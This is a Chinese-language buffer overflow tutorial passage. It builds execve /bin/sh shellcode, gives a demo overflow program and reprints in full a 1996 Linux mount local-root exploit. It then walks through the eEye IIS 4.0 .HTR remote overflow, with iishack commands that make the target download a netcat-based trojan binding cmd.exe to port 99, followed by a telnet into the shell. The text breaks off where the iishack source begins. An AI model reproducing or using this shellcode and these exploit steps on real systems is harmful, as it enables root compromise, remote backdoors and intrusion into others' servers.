📄 xiazai.txt
字号:
0x800014a < main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d < main+29>: pushl %eax
前面几句是参数传递。
0x800014e < main+30>: call 0x80002bc < __execve>
再来分析一下execve()函数。
0x80002bc < __execve>: pushl %ebp
0x80002bd < __execve+1>: movl %esp,%ebp
0x80002bf < __execve+3>: pushl %ebx
这是每个函数的进入必须处理部分。
0x80002c0 < __execve+4>: movl $0xb,%eax
将eax拷贝到堆栈上的0xb(11)处。这是系统调用表的索引,及是execve调用。
0x80002c5 < __execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 < __execve+12>: movl 0xc(%ebp),%ecx
0x80002cb < __execve+15>: movl 0x10(%ebp),%edx
0x80002ce < __execve+18>: int $0x80
进入中断,也就是系统内核,实现系统调用。为了防止execve调用不成功,可以在程序后面再加入一个exit系统调用。
将上面所述,我们就得出一段调用shell的二进制(汇编)代码:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
由于我们不知道程序的运行空间,所以使用JMP和CALL指令。这两个指令可以使用相对地址。如果在“/bin/sh”前放一条CALL指令,并将一个JMP指令跳向它。这个字符串地址将PUSH到堆栈上,作为CALL的返回地址。我们所做的就是将返回地址拷贝到一个寄存器。那么程序的执行顺序如下:
内存低端 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高端
89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF
buffer sfp ret a b c
< ------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
栈顶 栈底
经过这些改动后,使用索引地址,参考下面的代码:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
通常将上面这段代码翻译成二进制代码,放在一个数组里。
将上面的程序用机器码表示即可得到下面的十六进制shell代码字符串。
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
下面的程序是怎样利用的示范:
example4.c
----------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for (i = 0; i < 32; i++)
*(long_ptr + i) = (int) buffer;
for (i = 0; i < strlen(shellcode); i++)
large_string[i] = shellcode[i];
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
这个程序所做的是,在large_string中填入buffer的地址,并把shell代码放到large_string的前面部分。然后将large_string拷贝到buffer中,造成它溢出,使返回地址变为buffer,而buffer的内容为shell代码。
这样当程序试从strcpy()中返回时,就会转而执行shell。
第四节 利用缓冲区溢出进行的系统攻击
如果已知某个程序有缓冲区溢出的缺陷,如何知道缓冲区的地址,在那儿放入shell代码呢?由于每个程序的堆栈起始地址是固定的,所以理论上可以通过反复重试缓冲区相对于堆栈起始位置的距离来得到。但这样的盲目猜测可能要进行数百上千次,实际上是不现实的。解决的办法是利用空指令NOP。在shell代码前面放一长串的NOP,返回地址可以指向这一串NOP中任一位置,执行完NOP指令后程序将激活shell进程。这样就大大增加了猜中的可能性。可以编写程序来自动实现这一功能。请参见下面的这个比较经典的程序。
低内存端 buffer sfp ret *str 高内存端
< ------ [NNNNNNNSSSSSSSSSSSSSSSSS][ ][ ][ ]
栈顶 ^ | 栈底
|_______________________________|
图中,N代表NOP,S代表shell。下面是一个缓冲区溢出攻击的实例,它利用了系统程序mount的漏洞:
example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include < unistd.h>
#include < stdio.h>
#include < stdlib.h>
#include < fcntl.h>
#include < sys/stat.h>
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell[i];
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
----------------------------------------------------------------------
程序中get_esp()函数的作用就是定位堆栈位置。程序首先分配一块暂存区buff,然后在buff的前面部分填满NOP,后面部分放shell代码。最后部分是希望程序返回的地址,由栈地址加偏移得到。当以buff为参数调用mount时,将造成mount程序的堆栈溢出,其缓冲区被buff覆盖,而返回地址将指向NOP指令。
由于mount程序的属主是root且有suid位,普通用户运行上面程序的结果将获得一个具有root权限的shell。
第五节 缓冲区溢出应用攻击实例
eEye - Digital Security Team利用他们开发的Retina网络安全扫描器时,发现了微软IIS4.0的一个缓冲区溢出漏洞,从而产生了一些列的攻击。下面是对这一过程的详细分析。
受到影响的系统
Internet Information Server 4.0 (IIS4)
Microsoft Windows NT 4.0 SP3 Option Pack 4
Microsoft Windows NT 4.0 SP4 Option Pack 4
Microsoft Windows NT 4.0 SP5 Option Pack 4
目前,Internet上90%的NT Web服务器运行的是上述系统。所以这一造成的后果是相当巨大的。
原理
IIS把整个的URL地址传给处理IIS默认后缀(.ASP, .IDC, .HTR)的DLL。如果ISAPI DLL没有一个很好的边界检查的话,会产生一个缓冲区溢出,它利用IIS(inetinfo.exe),允许执行远程计算机上的任意代码。
利用这一原理,eEye利用Retina使用这些后缀,来探测是否存在这样的漏洞。结果,发现了这样的漏洞。在发送"GET /[overflow].htr HTTP/1.0"后,对方的服务器没有反映了。于是,使用调试器,进行分析后发现,这个缓冲区有3K。请参看前面介绍的原理。
下面是调试信息:
EAX = 00F7FCC8 EBX = 00F41130
ECX = 41414141 EDX = 77F9485A
ESI = 00F7FCC0 EDI = 00F7FCC0
EIP = 41414141 ESP = 00F4106C
EBP = 00F4108C EFL = 00000246
注: Retina使用"A" (0x41)来填充缓冲区。
解释:
这个溢出和.HTR后缀有关。IIS包含了允许Windows NT用户通过web目录/iisadmpwd/改变他们的口令的能力。这个特点是由一系列的.HTR文件和ISAPI后缀文件ISM.DLL实现的。因此,在将URL传递给ISM.DLL的这一行的某个地方,并没有进行边界检查,于是就发生了溢出。.HTR/ISM.DLL ISAPI过滤器都在IIS服务器上缺省安装。
攻击方法
利用上述的毛病,eEye写了两个程序: iishack.exe和 ncx.exe。
把ncx.exe拷贝到你的web服务器上。ncx.exe是一个特洛伊木马程序,是netcat.exe的改进程序。主要变化是将-l -p 80 -t -e cmd.exe作为一个固定的参数运行,始终将cmd.exe绑定在80端口。ncx..exe的代码也比netcat.exe要小,有利于攻击。
如果不能在服务器上使用ncx.exe的话,可以使用ncx99.exe。主要原因是ncx.exe绑定80端口,有可能不能用。Ncx99.exe绑定99端口。
假设你的web server是:www.mysvr.com,对方的IIS server是www.xxx.com 。运行下面的命令:
iishack www.xxx.com 80 www.mysvr.com/ncx99.exe (注意,不要加http://字符!)
运行后,可以看到如下信息:
------(IIS 4.0 remote buffer overflow exploit)-----------------
(c) dark spyrit -- barns@eeye.com.
http://www.eEye.com
[usage: iishack < host> < port> < url> ]
eg - iishack www.xxx.com 80 www.mysvr.com/thetrojan.exe
do not include 'http://' before hosts!
---------------------------------------------------------------
Data sent!
等待足够多的时间。这样,你已经利用这一漏洞并在被攻击的服务器上留下后门了。随后,可以使用Telnet来操作对方的计算机。
Telnet www.xxx.com 99
结果是这样:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\>
这就说明你已经能进入对方的计算机了。现在可以进行任何想要进行的操作了。
如果想要退出,只需键入exit。
对这个漏洞的补救方法:在IIS的www service属性中将主目录的应用程序设置的*.htr的映射删除。
Iishack.exe程序的源代码
下面将iishack.exe的源代码放在这里,供有兴趣者参考。在分析这段代码时,请参照前面的原理的讲解。如要编译成可执行代码,请用Turbo ASM来编译。
; IIS 4.0 remote overflow exploit.
; (c) dark spyrit -- barns@eeye.com
;
; greets & thanks to: neophyte/sacx/tree/everyone in #mulysa and
; #beavuh... and all the other kiwi's except ceo.
;
; credits to acp for the console stuff..
;
; I don't want to go in too deeply on the process of exploiting buffer
; overflows... there's various papers out there on this subject, ins
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -